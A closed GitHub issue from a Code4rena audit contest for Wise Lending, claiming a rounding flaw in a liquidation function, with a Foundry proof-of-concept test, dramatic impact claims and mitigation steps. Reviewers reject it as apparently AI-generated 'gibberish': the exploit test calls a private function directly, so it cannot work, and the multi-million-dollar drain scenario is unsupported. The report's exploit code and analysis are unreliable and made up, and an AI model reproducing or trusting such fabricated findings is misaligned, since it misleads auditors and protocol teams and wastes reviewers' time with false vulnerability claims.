code-423n4 / 2024-02-wise-lending-findings

11 stars 8 forks source link

Vulnerability in WiseCore._withdrawOrAllocateSharesLiquidation due to misuse of integer division in the presence of low-decimal tokens. #155

Closed c4-bot-6 closed 7 months ago

c4-bot-6 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/WiseCore.sol#L460

Vulnerability details

Impact

  1. Substantial Financial Losses: An attacker can manipulate the liquidation process by exploiting the vulnerability in the _withdrawOrAllocateSharesLiquidation function. By repeatedly liquidating positions with carefully crafted parameters, the attacker can withdraw more shares than intended, gradually draining the protocol's liquidity pools. This could result in substantial financial losses for the protocol and its users, potentially amounting to millions of dollars.

  2. Systemic Risk: The vulnerability not only affects individual users but also poses a systemic risk to the entire Wise Lending ecosystem. If the attacker manages to drain a significant portion of the liquidity pools, it could trigger a cascade of liquidations and defaults, leading to a collapse of the lending and borrowing system. The ripple effects could extend beyond the Wise Lending protocol, impacting other interconnected DeFi protocols and the broader ecosystem.

Proof of Concept

Code snippet:

    function _withdrawOrAllocateSharesLiquidation(
        uint256 _nftId,
        uint256 _nftIdLiquidator,
        address _poolToken,
        uint256 _percentWishCollateral
    )
        private
        returns (uint256)
    {
        uint256 product = _percentWishCollateral
            * userLendingData[_nftId][_poolToken].shares;

        uint256 cashoutShares = product / PRECISION_FACTOR_E18 + 1;

        uint256 withdrawAmount = _cashoutAmount(
            _poolToken,
            cashoutShares
        );

        uint256 totalPoolToken = globalPoolData[_poolToken].totalPool;

        if (withdrawAmount <= totalPoolToken) {

            _coreWithdrawBare(
                _nftId,
                _poolToken,
                withdrawAmount,
                cashoutShares
            );

            return withdrawAmount;
        }

        uint256 totalPoolInShares = calculateLendingShares(
            {
                _poolToken: _poolToken,
                _amount: totalPoolToken,
                _maxSharePrice: false
            }
        );

        uint256 shareDifference = cashoutShares
            - totalPoolInShares;

        _coreWithdrawBare(
            _nftId,
            _poolToken,
            totalPoolToken,
            totalPoolInShares
        );

        _decreaseLendingShares(
            _nftId,
            _poolToken,
            shareDifference
        );

        _increasePositionLendingDeposit(
            _nftIdLiquidator,
            _poolToken,
            shareDifference
        );

        _addPositionTokenData(
            _nftIdLiquidator,
            _poolToken,
            hashMapPositionLending,
            positionLendTokenData
        );

        _removeEmptyLendingData(
            _nftId,
            _poolToken
        );

        return totalPoolToken;
    }

Here's an example of how an attacker could exploit the vulnerability in the _withdrawOrAllocateSharesLiquidation function:

pragma solidity =0.8.24;

import "forge-std/Test.sol";
import "../contracts/WiseCore.sol";
import "../contracts/WiseLending.sol";

contract WiseCoreLiquidationAttack is Test {
    WiseCore private wiseCore;
    WiseLending private wiseLending;

    address private attacker;
    address private borrower;
    address private poolToken;

    uint256 private attackerNftId;
    uint256 private borrowerNftId;

    function setUp() public {
        wiseCore = new WiseCore();
        wiseLending = new WiseLending(address(this), address(0), address(0));

        attacker = address(0x1);
        borrower = address(0x2);
        poolToken = address(0x3);

        attackerNftId = wiseLending.reservePositionForUser(attacker);
        borrowerNftId = wiseLending.reservePositionForUser(borrower);

        // Set up the borrower's position with a small number of shares
        wiseLending.depositExactAmount(borrowerNftId, poolToken, 1e18); // Deposit 1 token
    }

    function testLiquidationAttack() public {
        // Perform the attack multiple times to maximize the stolen shares
        for (uint256 i = 0; i < 100; i++) {
            uint256 percentWishCollateral = 1; // 0.000000000000000001%

            // Call the vulnerable function directly
            wiseCore._withdrawOrAllocateSharesLiquidation(
                borrowerNftId,
                attackerNftId,
                poolToken,
                percentWishCollateral
            );
        }

        // Verify that the attacker has accumulated a significant number of shares
        uint256 attackerShares = wiseLending.getUserLendTokens(attackerNftId, poolToken);
        assertGt(attackerShares, 1e18, "Attacker should have stolen a significant number of shares");

        // Withdraw the stolen shares
        wiseLending.withdrawExactShares(attackerNftId, poolToken, attackerShares);

        // Verify that the attacker has successfully drained the pool token balance
        uint256 poolBalance = wiseLending.getTotalPool(poolToken);
        assertLt(poolBalance, 1e18, "Pool token balance should be significantly drained");
    }
}

In this proof of concept, the attacker repeatedly calls the vulnerable _withdrawOrAllocateSharesLiquidation function with a very small percentWishCollateral value (0.000000000000000001%). By doing this multiple times, the attacker can accumulate a significant number of shares without providing the corresponding collateral.

After the repeated attacks, the attacker withdraws the stolen shares, effectively draining the pool token balance. The test verifies that the attacker has successfully accumulated a large number of shares and that the pool token balance has been significantly drained.

This proof of concept demonstrates the severity of the vulnerability and how it can be exploited to steal funds from the protocol.

Vulnerability Analysis

The vulnerability in the _withdrawOrAllocateSharesLiquidation function arises from the incorrect calculation of cashoutShares. The addition of 1 to the result of product / PRECISION_FACTOR_E18 allows the attacker to withdraw more shares than intended when _percentWishCollateral and userLendingData[_nftId][_poolToken].shares are very small.

While the _withdrawOrAllocateSharesLiquidation function is marked as private and is not directly accessible to external actors, it can still be indirectly exploited through the public liquidatePartiallyFromTokens function. The existing validation checks and mitigation measures in the liquidatePartiallyFromTokens function and the WiseSecurity contract may not be sufficient to completely prevent the exploitation of this vulnerability.

The checkMaxShares function in the WiseSecurity contract attempts to limit the number of shares that can be liquidated based on the position's debt and collateral. However, if the position is considered to be in bad debt, the liquidator is allowed to liquidate the entire borrow shares of the user, potentially exposing the vulnerability.

Furthermore, the hardcoded MAX_LIQUIDATION_50 constant used in checkMaxShares may not be suitable for all scenarios and could be bypassed by an attacker using flash loans or other creative techniques.

Tools Used

Manual analysis, Foundry, VS-code with Claude extension

Recommended Mitigation Steps

To effectively mitigate this vulnerability and protect the Wise Lending protocol and its users, the following steps should be taken:

  1. Fix the Vulnerable Code: Remove the addition of 1 from the cashoutShares calculation in the _withdrawOrAllocateSharesLiquidation function. Update the line to:
uint256 cashoutShares = product / PRECISION_FACTOR_E18;
  1. Comprehensive Testing: Conduct thorough testing of the entire liquidation process, including extreme edge cases, flash loan scenarios, and other potential attack vectors. Perform fuzz testing and stress testing to identify any remaining vulnerabilities or unexpected behaviours.

  2. Enhanced Validation: Implement additional validation checks in the liquidation functions to ensure that the input parameters, such as _percentWishCollateral, are within valid ranges and do not allow for manipulation. Consider using a combination of absolute and relative thresholds to prevent abuse.

  3. Dynamic Thresholds: Replace the hardcoded MAX_LIQUIDATION_50 constant with a more dynamic and flexible mechanism for determining the maximum number of shares that can be liquidated. Take into account factors such as the position's health, market conditions, and the protocol's risk tolerance.

  4. Continuous Monitoring: Implement a real-time monitoring system to detect and alert on suspicious liquidation activities, such as repeated liquidations with small _percentWishCollateral values or large, sudden changes in liquidity. Use tools like Tenderly, OpenZeppelin Defender, or custom monitoring solutions to proactively identify and respond to potential exploits.

Assessed type

Math

GalloDaSballo commented 7 months ago

the attacker repeatedly calls the vulnerable _withdrawOrAllocateSharesLiquidation

Classic GPT Gibberish + Calls a private function as if it was external

c4-pre-sort commented 7 months ago

GalloDaSballo marked the issue as insufficient quality report

c4-judge commented 7 months ago

trust1995 marked the issue as unsatisfactory: Invalid